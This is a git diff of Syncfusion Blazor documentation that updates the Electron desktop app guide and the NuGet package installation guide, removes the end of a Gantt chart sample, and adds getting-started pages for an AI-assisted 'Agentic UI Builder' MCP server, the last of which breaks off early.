-            {
-
-                var value = changed[i];
-                await http.SendJsonAsync(HttpMethod.Put, "/api/GanttDataDetails/" + changed[i].Id, changed[i] as GanttDataDetails);
-            }
-        }
-        if (deleteRecord != null)
-        {
-            for (var i = 0; i < deleteRecord.Count(); i++)
-            {
-                await http.DeleteAsync("api/GanttDataDetails/" + deleteRecord[i].Id);
-            }
-        }
-        if (addRecord != null)
-        {
-
-
-            for (var i = 0; i < addRecord.Count(); i++)
-            {
-                await http.SendJsonAsync(HttpMethod.Post, "/api/GanttDataDetails", addRecord[i] as GanttDataDetails);
-            }
-        }
-        return (new { addedRecords = addRecord, changedRecords = changed, deletedRecords = deleteRecord });
-    }
-}
-
-```
-
-You can find the sample for client-side application using Entity Framework [here](https://github.com/SyncfusionExamples/Blazor-Gantt-Chart-Client-Side-Application-with-EF).
\ No newline at end of file
diff --git a/blazor/getting-started/blazor-electron-app.md b/blazor/getting-started/blazor-electron-app.md
index 7b4a0a3e0c..d20f128e5b 100644
--- a/blazor/getting-started/blazor-electron-app.md
+++ b/blazor/getting-started/blazor-electron-app.md
@@ -1,156 +1,257 @@
 ---
 layout: post
-title: Creating Desktop App using Blazor and Electron Framework | Syncfusion
-description: Check out the documentation for creating desktop application using Blazor and Electron Framework with Syncfusion Blazor Components in Visual Studio.
+title: Creating a Blazor Server Electron App | Syncfusion
+description: Learn to build a cross‑platform desktop app using a Blazor Server App with ElectronNET.Core and Syncfusion Blazor DataGrid components.
 platform: Blazor
 component: Common
 documentation: ug
 ---
 
-# Creating Desktop Application using Blazor and Electron
+# Creating a Blazor Desktop App with Electron
 
-This section explains how to create and run a desktop application by using Blazor and the Electron.NET framework with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components.
+This guide explains how to create a cross‑platform desktop application by combining a **Blazor Server App** with the **ElectronNET.Core** framework and integrating Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components such as the DataGrid within an Electron‑powered desktop environment.
+
+N> ElectronNET.Core is the modern fork of the Electron.NET approach that supports recent .NET versions. 
 
 ## What is Electron?
 
-[Electron](https://www.electronjs.org/) is a framework for building cross-platform desktop applications with web technologies. It utilizes `Node.js` and the `Chromium` rendering engine to run a web application in a desktop shell.
+[Electron](https://www.electronjs.org/) is a framework for building cross-platform desktop applications using web technologies. It uses `Node.js` and the `Chromium` rendering engine to run a web application inside a desktop environment.
 
-## Create a Blazor server-side application
+ElectronNET.Core connects a Blazor Server app with the Electron shell by hosting an internal Kestrel server and loading it in a Chromium window. The Electron main process communicates with the Blazor backend through this local server, enabling desktop‑native features without requiring changes to the application’s architecture.
 
-Create a Blazor Server application by using either the CLI or Visual Studio:
+## Prerequisites
 
-* [Create a Blazor Server application by using the CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-dotnet-cli)
+- .NET 8 or later (LTS)
+- Node.js 22.x or later
+- Supported OS (for .NET 8 or later): Windows 10 or later, macOS 12 or later, Ubuntu 20.04 or later
+- Editor/IDE: Visual Studio 2022 or later, or VS Code
 
-* [Create a Blazor Server application by using Visual Studio](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio)
+## Create a Blazor Server App
 
-N> This setup does not work with target frameworks greater than .NET 6. For details and troubleshooting, see this [GitHub thread](https://github.com/ElectronNET/Electron.NET/issues/837#issuecomment-1985434060).
+Run the following commands in the **command-line interface (CLI)**.
 
-## Configure Electron in Blazor App
+{% tabs %}
+{% highlight c# tabtitle=".NET CLI" %}
 
-Run the following commands in either the **Visual Studio Developer Command Prompt** or a **command-line interface (CLI)** based on the development environment.
+dotnet new blazor -o BlazorApp -int Server
+cd BlazorApp
 
-1.Install [ElectronNET.API](https://www.nuget.org/packages/ElectronNET.API/) NuGet package in the application.
+{% endhighlight %}
+{% endtabs %}
 
-```
-dotnet add package ElectronNET.API
-```
+## Install Required Packages
 
-2.Create a local .NET tool manifest file by running the following command. This creates a manifest file at **~/.config/dotnet-tools.json** in the current project.
+From the project folder (where the `.csproj` is located), install the Syncfusion<sup style="font-size:70%">&reg;</sup> **Grid**, **Themes**, and the **ElectronNET.Core** packages.
+ * [Syncfusion.Blazor.Grid](https://www.nuget.org/packages/Syncfusion.Blazor.Grid)
+ * [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/)
+ * [ElectronNET.Core](https://www.nuget.org/packages/ElectronNET.Core)
+ * [ElectronNET.Core.AspNet](https://www.nuget.org/packages/ElectronNET.Core.AspNet)
 
-```
-dotnet new tool-manifest
-```
+{% tabs %}
+{% highlight c# tabtitle=".NET CLI" %}
 
-![.NET tool manifest file](images/electron/net-tool-manifest.png)
+dotnet add package Syncfusion.Blazor.Grid -v {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
 
-3.Install the tool locally in the project by running the below command.
+dotnet add package ElectronNET.Core
+dotnet add package ElectronNET.Core.AspNet
 
-```
-dotnet tool install ElectronNET.CLI
-```
+dotnet restore
 
-![Electron.NET CLI installation](images/electron/net-cli.png)
+{% endhighlight %}
+{% endtabs %}
 
-4.Run the below command to configure Electron.NET manifest tool and update the launch profile of the application.
+## Add Required Namespaces
 
-```
-dotnet electronize init
-```
-![Update launch profile for Electron.NET](images/electron/update-launch-profile.png)
+Add the required Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor namespaces in **~/_Imports.razor**.
 
-5.To integrate `Electron.NET` in the application add the below code in **~/Program.cs** file of the application.
+{% tabs %}
+{% highlight razor tabtitle="~/_Imports.razor" %}
+
+@using Syncfusion.Blazor
+@using Syncfusion.Blazor.Grids
+
+{% endhighlight %}
+{% endtabs %}
+
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> and Electron Services
+
+Add the required Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service and configure ElectronNET.Core in your **~/Program.cs** file.
+
+Before using the code snippet, update the namespace by replacing `BlazorElectronApp` with the namespace used in your application. You can find the correct namespace in `App.razor` or `_Imports.razor`.
+
+For example, if your application is named `MyApp`, use `MyApp.Components.App`.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET 6 (~/Program.cs)" hl_lines="2 9 10" %}
+{% highlight c# tabtitle=".NET 8/.NET 9/.NET 10 (~/Program.cs)" hl_lines="2 3 4 7 9 11 12 13 14 15 16 17 18 19 20 22 24 25 26 28 34" %}
 
+...
 using Syncfusion.Blazor;
 using ElectronNET.API;
-
-var builder = WebApplication.CreateBuilder(args);
-
-// Add services to the container.
+using ElectronNET.API.Entities;
 ...
+// Syncfusion services
 builder.Services.AddSyncfusionBlazor();
+// Electron services
 builder.Services.AddElectron();
-builder.WebHost.UseElectron(args);
+// Electron window bootstrap (modern ElectronNET.Core)
+builder.UseElectron(args, async () =>
+{
+    var options = new BrowserWindowOptions
+    {
+        Width = 1200,
+        Height = 800,
+        Show = false,
+        AutoHideMenuBar = true,
+        // IsRunningBlazor = true,   // Optional: enable if Blazor script loading issues occur.
+    };
+
+    var window = await Electron.WindowManager.CreateWindowAsync(options);
+
+    window.OnReadyToShow += () => window.Show();
+    window.OnClosed += () => Electron.App.Quit();
+});
+...
+app.UseStaticFiles(); // Required for serving assets like _content/ (Syncfusion).
+
+// Disable for Electron: it runs on http://localhost, and HTTPS redirection can cause redirect/certificate issues.
+// app.UseHttpsRedirection();
+...
+// Map the root Razor Components app
+app.MapRazorComponents<BlazorElectronApp.Components.App>()
+    .AddInteractiveServerRenderMode();
 
-var app = builder.Build();
-....
+app.Run();
 
 {% endhighlight %}
 {% endtabs %}
 
-6.To open the Electron window add the below code in the **~/Program.cs** file of .NET 6 applications.
+## Add Stylesheet and Script Resources
 
-{% tabs %}
-{% highlight c# tabtitle=".NET 6 (~/Program.cs)" hl_lines="9 10 12 13 14 15" %}
-
-using ElectronNET.API;
+Before adding the stylesheet, ensure that no other Syncfusion<sup style="font-size:70%">&reg;</sup> theme CSS (e.g., bootstrap5.css, material.css) is already referenced to avoid conflicts.
 
-var builder = WebApplication.CreateBuilder(args);
+Add the following stylesheet and script references in `~/App.razor`. 
 
-// Add services to the container.
-...
-builder.WebHost.UseElectron(args);
+{% tabs %}
+{% highlight html hl_lines="4 10" %}
 
-if (HybridSupport.IsElectronActive)
-{
-    // Open the Electron-Window here
-    Task.Run(async () => {
-        var window = await Electron.WindowManager.CreateWindowAsync();
-    });
-}
+<head>
+    ...
+    <!-- Syncfusion theme style sheet -->
+    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
+</head>
 
-var app = builder.Build();
-....
+<body>
+    ...
+    <!-- Syncfusion Blazor Core script (required for most components, including DataGrid) -->
+    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+</body>
 
 {% endhighlight %}
 {% endtabs %}
 
-7.Run the application using the below command.
 
-```
-dotnet electronize start
-```
+## Add Runtime Identifiers to Support Cross‑Platform Builds
 
-![Electron app output](images/electron/electron-grid-output.png)
+The `RuntimeIdentifiers` property specifies the target platforms for the application and enables .NET to restore the necessary platform‑specific assets. This configuration allows the application to be built and packaged for Windows, Linux, and macOS from a single project.
 
-N> To close the Electron app when the Electron window is closed, add the following code under **// Open the Electron-Window** in step 6 in the **~/Program.cs** file of a .NET 6 application.
+To enable this, add the following property to your project’s `.csproj` file.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET 6 (~/Program.cs)" hl_lines="14 15 16" %}
 
-using ElectronNET.API;
+{% highlight c# tabtitle="csproj" hl_lines="3"  %}
 
-var builder = WebApplication.CreateBuilder(args);
+<PropertyGroup>
+    ...
+    <RuntimeIdentifiers>win-x64;linux-x64;osx-x64;osx-arm64</RuntimeIdentifiers>
+</PropertyGroup>
 
-// Add services to the container.
-...
-builder.WebHost.UseElectron(args);
+{% endhighlight %}
+
+{% endtabs %}
+
+## Add electron-builder.json (Required for ElectronNET.Core)
+
+ElectronNET.Core uses the electron-builder.json file to configure packaging settings for desktop builds. Create a file named `electron-builder.json` in your project’s `Properties` folder and add the following content.
+
+{% tabs %}
+
+{% highlight c# tabtitle="~/electron-builder.json" %}
 
-if (HybridSupport.IsElectronActive)
 {
-    // Open the Electron-Window
-    Task.Run(async () => {
-        var window = await Electron.WindowManager.CreateWindowAsync();
-        window.OnClosed += () => {
-            Electron.App.Quit();
-        };
-    });
+  "appId": "com.companyname.blazorelectronapp",
+  "productName": "Blazor Electron App",
+  "directories": {
+    "output": "dist-electron"
+  },
+  "files": [
+    "**/*"
+  ],
+  "win": {
+    "target": "nsis"
+  },
+  "mac": {
+    "target": "dmg"
+  },
+  "linux": {
+    "target": "AppImage"
+  }
 }
 
-var app = builder.Build();
-....
+{% endhighlight %}
+
+{% endtabs %}
+
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid component
+
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> DataGrid components to a `.razor` file within your app.
+
+{% tabs %}
+{% highlight razor %}
+
+@rendermode InteractiveServer
+@using Syncfusion.Blazor.Grids
+
+<SfGrid DataSource="@Orders" />
+
+@code{
+    public List<Order> Orders { get; set; }
+
+    protected override void OnInitialized()
+    {
+        Orders = Enumerable.Range(1, 10).Select(x => new Order()
+        {
+            OrderID = 1000 + x,
+            CustomerID = (new string[] { "ALFKI", "ANANTR", "ANTON", "BLONP", "BOLID" })[new Random().Next(5)],
+            Freight = 2 * x,
+            OrderDate = DateTime.Now.AddDays(-x),
+        }).ToList();
+    }
+
+    public class Order {
+        public int? OrderID { get; set; }
+        public string CustomerID { get; set; }
+        public DateTime? OrderDate { get; set; }
+        public double? Freight { get; set; }
+    }
+}
 
 {% endhighlight %}
 {% endtabs %}
 
-8.Run the following commands to create production builds for each platform.
+### Run the Application
 
 ```
-dotnet electronize build /target win
-dotnet electronize build /target osx
-dotnet electronize build /target linux
+dotnet run
 ```
+![Blazor Electron App](images/blazor-server-electron.webp)
 
-N> [View the complete Blazor Server Electron application with Syncfusion<sup style="font-size:70%">&reg;</sup> components on GitHub](https://github.com/SyncfusionExamples/blazor-electron-app)
+### Publish and Build Desktop Packages
+
+The following commands publish the application for the x64 architecture. Update the runtime identifier as needed (for example, osx-arm64 or linux-arm64) to target other platforms.
+
+```
+Windows: dotnet publish -r win-x64 -c Release
+macOS: dotnet publish -r osx-x64 -c Release
+Linux: dotnet publish -r linux-x64 -c Release
+``` 
\ No newline at end of file
diff --git a/blazor/getting-started/images/blazor-server-electron.webp b/blazor/getting-started/images/blazor-server-electron.webp
new file mode 100644
index 0000000000..cc6ab0b9f2
Binary files /dev/null and b/blazor/getting-started/images/blazor-server-electron.webp differ
diff --git a/blazor/installation/images/ConsoleInstallationOutput.png b/blazor/installation/images/ConsoleInstallationOutput.png
index a3440ed5f5..9bc192aab9 100644
Binary files a/blazor/installation/images/ConsoleInstallationOutput.png and b/blazor/installation/images/ConsoleInstallationOutput.png differ
diff --git a/blazor/installation/images/InstallNuGet.png b/blazor/installation/images/InstallNuGet.png
index cc97cbc1d1..bd774b91ea 100644
Binary files a/blazor/installation/images/InstallNuGet.png and b/blazor/installation/images/InstallNuGet.png differ
diff --git a/blazor/installation/images/ManageNuGet.png b/blazor/installation/images/ManageNuGet.png
index 57203c7898..f291216070 100644
Binary files a/blazor/installation/images/ManageNuGet.png and b/blazor/installation/images/ManageNuGet.png differ
diff --git a/blazor/installation/images/NuGetsearch.png b/blazor/installation/images/NuGetsearch.png
index f3be66cb01..c842e9b2f6 100644
Binary files a/blazor/installation/images/NuGetsearch.png and b/blazor/installation/images/NuGetsearch.png differ
diff --git a/blazor/installation/images/console.png b/blazor/installation/images/console.png
index 38772bc36b..982317772c 100644
Binary files a/blazor/installation/images/console.png and b/blazor/installation/images/console.png differ
diff --git a/blazor/installation/images/packageentry.png b/blazor/installation/images/packageentry.png
index 8b1b47f6cd..e1f18f23d6 100644
Binary files a/blazor/installation/images/packageentry.png and b/blazor/installation/images/packageentry.png differ
diff --git a/blazor/installation/install-nuget-packages.md b/blazor/installation/install-nuget-packages.md
index 5ae692d06d..f56c24f176 100644
--- a/blazor/installation/install-nuget-packages.md
+++ b/blazor/installation/install-nuget-packages.md
@@ -18,88 +18,107 @@ N> The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet package, wh
 
 ## Installation using Package Manager UI
 
-The NuGet **Package Manager UI** allows you to search, install, uninstall, and update Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet packages in your applications and solutions. You can find and install the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet packages in your Visual Studio Blazor application and this process is easy with the steps below:
+The NuGet **Package Manager UI** allows you to search, install, uninstall, and update Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet packages in your applications and solutions.
 
-1. Right-click on the Blazor application or solution in the Solution Explorer, and choose **Manage NuGet Packages...**
+Follow the steps below to locate and install the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet packages into a Blazor application:
+
+1. Right-click on the Blazor application or solution in Solution Explorer and select **Manage NuGet Packages...** from the context menu.
 
     ![Open Manage NuGet Packages from Solution Explorer](images/ManageNuGet.png)
 
-    As an alternative, after opening the Blazor application in Visual Studio, go to the **Tools** menu and after hovering **NuGet Package Manager**, select **Manage NuGet Packages for Solution...**
+    Alternatively, open the NuGet package manager in Visual Studio, select **Tools → NuGet Package Manager → Manage NuGet Packages for Solution...**.
 
-2. The Manage NuGet Packages window will open. Navigate to the **Browse** tab, then search for the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet packages using a term like **"Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor"** and select the appropriate Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet package for your development.
+2. In the **Manage NuGet Packages** window, go to **Browse** tab and type **Syncfusion.Blazor** in the search field. This displays all Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet package options. Select the appropriate package based on the component requirements.
 
-    N> The [nuget.org]([nuget.org](https://api.nuget.org/v3/index.json)) package source is selected by default. If Visual Studio does not have nuget.org configured, follow the instructions in the [Microsoft documents](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-visual-studio#package-sources) to set up the nuget.org feed URL.
+    N> By default, the [nuget.org](https://api.nuget.org/v3/index.json) package source is configured in Visual Studio. If `nuget.org` is not available, refer to the [Microsoft documents](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-visual-studio#package-sources) to configure the `nuget.org` feed URL.
 
     ![Search for Syncfusion Blazor packages in the Browse tab](images/NuGetsearch.png)
 
-3. When you select a Blazor package, the right side panel will provide more information about it.
+3. When a Blazor package is selected, the right side panel displays detailed information about that package.
 
-4. By default, the package is selected with the latest version. You can choose the required version and click the **Install** button and accept the license terms. The package will be added to your Blazor application.
+4. By default, the latest version is selected. To install a specific release, select the required version from the available options, click **Install** and accept the license terms. The package will be added to the Blazor application.
 
     ![Install a Syncfusion Blazor package from the Package Manager UI](images/InstallNuGet.png)
 
-5. At this point, your application has all the required Syncfusion<sup style="font-size:70%">&reg;</sup> assemblies, and you will be ready to start building high-performance, responsive app with [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components](https://www.syncfusion.com/blazor-components). Also, you can refer to the [Blazor help document](https://blazor.syncfusion.com/documentation/introduction) for development.
+5. Now, all required Syncfusion<sup style="font-size:70%">&reg;</sup> assemblies have been installed. the application is ready to build high-performance, responsive solutions with [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components](https://www.syncfusion.com/blazor-components). See the [Blazor documentation](https://blazor.syncfusion.com/documentation/introduction) for further development assistance.
 
 ## Installation using Dotnet (.NET) CLI
 
-The [dotnet Command Line Interface (CLI)]((https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli)) lets you add, restore, pack, publish, and manage packages without making any changes to your application files. [Dotnet add package](https://learn.microsoft.com/en-us/dotnet/core/tools/dotnet-add-package?tabs=netcore2x) adds a package reference to the application file, then runs [dotnet restore](https://learn.microsoft.com/en-us/dotnet/core/tools/dotnet-restore?tabs=netcore2x) to install the package.
+The [.NET CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) provides functionality to add, restore, pack, publish, and manage packages without modifying project files. Use [dotnet add package](https://learn.microsoft.com/en-us/dotnet/core/tools/dotnet-package-add?tabs=netcore2x) to add a package reference, and [dotnet restore](https://learn.microsoft.com/en-us/dotnet/core/tools/dotnet-restore?tabs=netcore2x) to install it.
+
+Follow the below steps to install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet packages using the .NET CLI command.
 
-Follow the below instructions to use the dotnet CLI command to install the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet packages.
+1. Open a command prompt and navigate the directory to where the Blazor application file is located.
+2. Run the following command to install the NuGet package.
 
-1. Open a command prompt and navigate to the directory where your Blazor application file is located.
-2. To install a NuGet package, run the following command.
+    ```bash
+    dotnet add package <PackageName>
+    ```
 
-    ```dotnet add package <Package name>```
+    **For example:**
 
-    **For Example:**
+    ```bash
     dotnet add package Syncfusion.Blazor.Grid
+    ```
 
-    N> If you don’t provide a version flag, this command will be upgrading to the latest version by default. To specify a version, add the -v parameter: dotnet add package Syncfusion.Blazor.Grid -v 19.2.0.44.
+    N> By default, the command upgrades to the latest version when no version flag is provided. Add the `-v` parameter to specify a version: `dotnet add package Syncfusion.Blazor.Grid -v {{ site.releaseversion }}`
 
-3. Examine the Blazor application file after the command has completed to ensure that the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor package was installed. To see the added reference, open the .csproj file.
+3. After the installation command completes, check the `.csproj` file to verify that the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor package reference has been added to the Blazor application.
 
     ![Blazor Package Entry ](images/packageentry.png)
 
-4. Then, run  [dotnet restore](https://learn.microsoft.com/en-us/dotnet/core/tools/dotnet-restore?tabs=netcore2x) command to restore all the packages listed in the application file.
-
-    N> Restoring is done automatically with **dotnet build** and **dotnet run** in .NET Core 2.0 and later.
+4. Then, run [dotnet restore](https://learn.microsoft.com/en-us/dotnet/core/tools/dotnet-restore?tabs=netcore2x) command to restore all required packages to the application file.
 
-5. At this point, your application has all the required Syncfusion<sup style="font-size:70%">&reg;</sup> assemblies, and you will be ready to start building high-performance, responsive app with [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components](https://www.syncfusion.com/blazor-components). Also, you can refer to the [Blazor help document](https://blazor.syncfusion.com/documentation/introduction) for development.
+5. Now, all required Syncfusion<sup style="font-size:70%">&reg;</sup> assemblies have been installed. the application is ready to build high-performance, responsive solutions with [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components](https://www.syncfusion.com/blazor-components). See the [Blazor documentation](https://blazor.syncfusion.com/documentation/introduction) for further development assistance.
 
 ## Installation using Package Manager Console
 
-The **Package Manager Console** saves NuGet packages installation time since you don't have to search for the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet package which you want to install, and you can just type the installation command to install the appropriate Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet package. Follow the instructions below to use the Package Manager Console to reference the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor component as NuGet packages in your Blazor application.
+The **Package Manager Console** saves NuGet package installation time since there is no need to search for the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet package that needs to be installed. Instead of browsing for the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet package, developers can simply type an installation command. Follow the instructions below to use the Package Manager Console to install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components as NuGet packages in Blazor application.
 
-1. To show the Package Manager Console, open your Blazor application in Visual Studio and navigate to **Tools -> NuGet Package Manager -> Package Manager Console**.
+1. Open the Blazor application in Visual Studio, then go to **Tools → NuGet Package Manager → Package Manager Console**.
 
     ![Package Manager Console in Visual Studio](images/console.png)
 
-2. The **Package Manager Console** will be shown at the bottom of the screen. You can install the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet packages by entering the following NuGet installation commands.
+2. The **Package Manager Console** appears at the bottom of Visual Studio. Enter the following NuGet commands to install the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet packages.
 
     ***Install specified Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet package.***
 
     The following command will install the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet package in the default Blazor application.
 
-    ```Install-Package <Package Name>```
+    ```powershell
+    Install-Package <PackageName>
+    ```
 
-    **For example:** Install-Package Syncfusion.Blazor.Grid
+    **For example:**
 
-    N> Browse Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet packages on [NuGet.org](https://www.nuget.org/packages?q=Tags%3A%22Blazor%22+syncfusion).
+    ```powershell
+    Install-Package Syncfusion.Blazor.Grid
+    ```
+
+    > **Note:** Browse Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet packages on [NuGet.org](https://www.nuget.org/packages?q=Tags%3A%22Blazor%22+syncfusion).
 
     ***Install specified Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet package in specified Blazor application***
 
-    The following command will install the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet package in the given Blazor application.
+    The following command installs the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet package into the specified Blazor application.
+
+    ```powershell
+    Install-Package <PackageName> -ProjectName <ProjectName>
+    ```
 
-    ```Install-Package <Package Name> -ProjectName <Project Name>```
+    **For example:**
 
-    **For example:** Install-Package Syncfusion.Blazor.Grid -ProjectName SyncfusionBlazorApp
+    ```powershell
+    Install-Package Syncfusion.Blazor.Grid -ProjectName SyncfusionBlazorApp
+    ```
 
-3. By default, the package will be installed with latest version. You can give the required version with the -Version term like below to install the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet packages in the appropriate version.
+3. By default, the package will be installed with latest version. To install a specific Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor release, specify `-Version` parameter with the Package Manager Console command.
 
-    ```Install-Package Syncfusion.Blazor.Grid -Version 19.2.0.44```
+    ```powershell
+    Install-Package Syncfusion.Blazor.Grid -Version {{ site.releaseversion }}
+    ```
 
     ![Package Manager Console output showing installed package](images/ConsoleInstallationOutput.png)
 
-4. The NuGet package manager console will install the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet package as well as the dependencies it has. When the installation is complete, the console will show that your Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor package has been successfully added to the application.
+4. The Package Manager Console installs the Syncfusion® Blazor NuGet package and its dependencies. After installation finishes, check the console output for a confirmation message indicating the Syncfusion® Blazor package was added to the application.
 
-5. At this point, your application has all the required Syncfusion<sup style="font-size:70%">&reg;</sup> assemblies, and you will be ready to start building high-performance, responsive app with [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components](https://www.syncfusion.com/blazor-components). Also, you can refer to the [Blazor help document](https://blazor.syncfusion.com/documentation/introduction) for development.
\ No newline at end of file
+5. Now, all required Syncfusion<sup style="font-size:70%">&reg;</sup> assemblies have been installed. the application is ready to build high-performance, responsive solutions with [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components](https://www.syncfusion.com/blazor-components). See the [Blazor documentation](https://blazor.syncfusion.com/documentation/introduction) for further development assistance.
\ No newline at end of file
diff --git a/blazor/mcp-server/agentic-ui-builder/getting-started.md b/blazor/mcp-server/agentic-ui-builder/getting-started.md
new file mode 100644
index 0000000000..e92787418d
--- /dev/null
+++ b/blazor/mcp-server/agentic-ui-builder/getting-started.md
@@ -0,0 +1,90 @@
+---
+layout: post
+title: Getting Started with Blazor Agentic UI Builder | Syncfusion
+description: Learn how to set up and use the Syncfusion Blazor UI Builder MCP Server for AI-powered assistance in building Blazor applications with Syncfusion components.
+control: Getting started with Syncfusion Blazor UI Builder MCP Server
+platform: blazor
+documentation: ug
+domainurl: ##DomainURL##
+---
+
+# Getting Started with Agentic UI Builder
+
+The **Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor UI Builder** uses AI to help you build Blazor applications with natural language commands. Simply describe what you want to create, and it generates complete UI implementations with Syncfusion components.
+
+## Installation
+
+Follow the [Installation Guide](../installation) to set up the MCP server in your development environment.
+
+## Usage
+
+Once installed, open your AI assistant in the IDE and describe what you want to build with the `#sf_blazor_ui_builder` command:
+
+```
+#sf_blazor_ui_builder Create a dashboard with a sales data grid and monthly trend chart.
+
+```
+
+The UI Builder generates complete implementations including layout, components, and styling.
+
+> Note: Using the `#sf_blazor_ui_builder` tool ensures the Agentic UI Builder is invoked directly. Alternatively, you can use natural language without the tool - just make sure to include the "Syncfusion" keyword in your prompt so the AI model can automatically recognize and call the appropriate generator.
+
+## Individual Tools
+
+For targeted assistance, you can call individual tools directly using their specific tool names. This is useful when you need specialized help from a particular tool.
+
+### Layout Tool (`#sf_blazor_layout`)
+
+Provides a catalog of pre-built, responsive UI layout templates and blocks for common page sections and design patterns.
+
+**When to use:** Page structures, responsive layouts, or pre-built UI patterns.
+
+**Example:**
+
+```
+#sf_blazor_layout Create a responsive card layout for product listings.
+```
+
+### Component Tool (`#sf_blazor_component`)
+
+Provides quick reference guidelines for Syncfusion Blazor components, including properties, event handlers, methods, and usage examples.
+
+**When to use:** To get basic component API information and structure details for implementing specific components correctly.
+
+**Example:**
+```
+#sf_blazor_component How do I integrate a data table?
+```
+
+### Style Tool (`#sf_blazor_style`)
+
+Provides theme configuration, styling setup, and icon integration for Syncfusion Blazor components. Supports multiple themes (Tailwind3 CSS, Bootstrap 5.3, Material 3, Fluent 2), light/dark mode implementation, and icon patterns for consistent UI styling.
+
+**When to use:** To apply themes, customize colors, modify the visual design of components, or integrate icons into your UI.
+
+**Example:**
+```
+#sf_blazor_style How do I apply the Syncfusion Tailwind 3 dark theme and add a communication icon inside a button?
+```
+
+## Best Practices
+
+To maximize the effectiveness of the Agentic UI Builder and achieve optimal results:
+
+- **Minimize active tools:** Limit the number of active MCP tools in your IDE to prevent tool-selection ambiguity and improve response accuracy.
+- **Start simple:** Begin with straightforward prompts and progressively add complexity as needed.
+- **Be specific:** Provide clear, specific descriptions of your layout requirements, component behavior, and design preferences.
+- **Reference patterns:** Mention existing design systems, component libraries, or specific patterns you want to replicate.
+- **Stay consistent:** Maintain consistent file organization, naming conventions, and coding standards throughout your Blazor project.
+- **Work incrementally:** For better control and precision—break down complex layouts into individual sections rather than requesting multiple blocks simultaneously.
+- **Use advanced AI models:** For best results, use **Claude Sonnet 4.5 or higher** models. Other compatible models include **GPT-5 and Gemini 3 Pro**. Higher-capability models produce better code quality and more accurate component implementations.
+
+> Always review AI-generated code before using it in production.
+
+## What's Next
+
+Now that you've set up the Agentic UI Builder, explore these resources:
+
+* **[Prompt Library](./prompt-library)** - Ready-to-use prompts for common scenarios
+* **[Showcase Sample Projects](https://www.syncfusion.com/showcase-apps/blazor)** - Full application examples
+* **[Component Examples](https://blazor.syncfusion.com/demos/)** - Interactive demos of all Syncfusion Blazor components
diff --git a/blazor/mcp-server/agentic-ui-builder/prompt-library.md b/blazor/mcp-server/agentic-ui-builder/prompt-library.md
new file mode 100644
index 0000000000..f8f4eded00
--- /dev/null
+++ b/blazor/mcp-server/agentic-ui-builder/prompt-library.md
@@ -0,0 +1,126 @@
+---
+layout: post
+title: Blazor Agentic UI Builder Prompt Library | Syncfusion
+description: Explore the Agentic UI Builder Prompt Library to enhance Blazor productivity with layout blocks, component guidance, styling, and icons.
+control: Syncfusion Blazor Agentic UI Builder Prompt Library
+platform: blazor
+documentation: ug
+domainurl: ##DomainURL##
+---
+
+# Prompt Library - Agentic UI Builder
+
+Speed up Blazor development with ready-made prompts for common scenarios. Use them to generate complete applications, components, layouts, and custom styling.
+
+## How to Use
+
+Ensure that the Syncfusion MCP Server is configured and running before executing prompts.
+
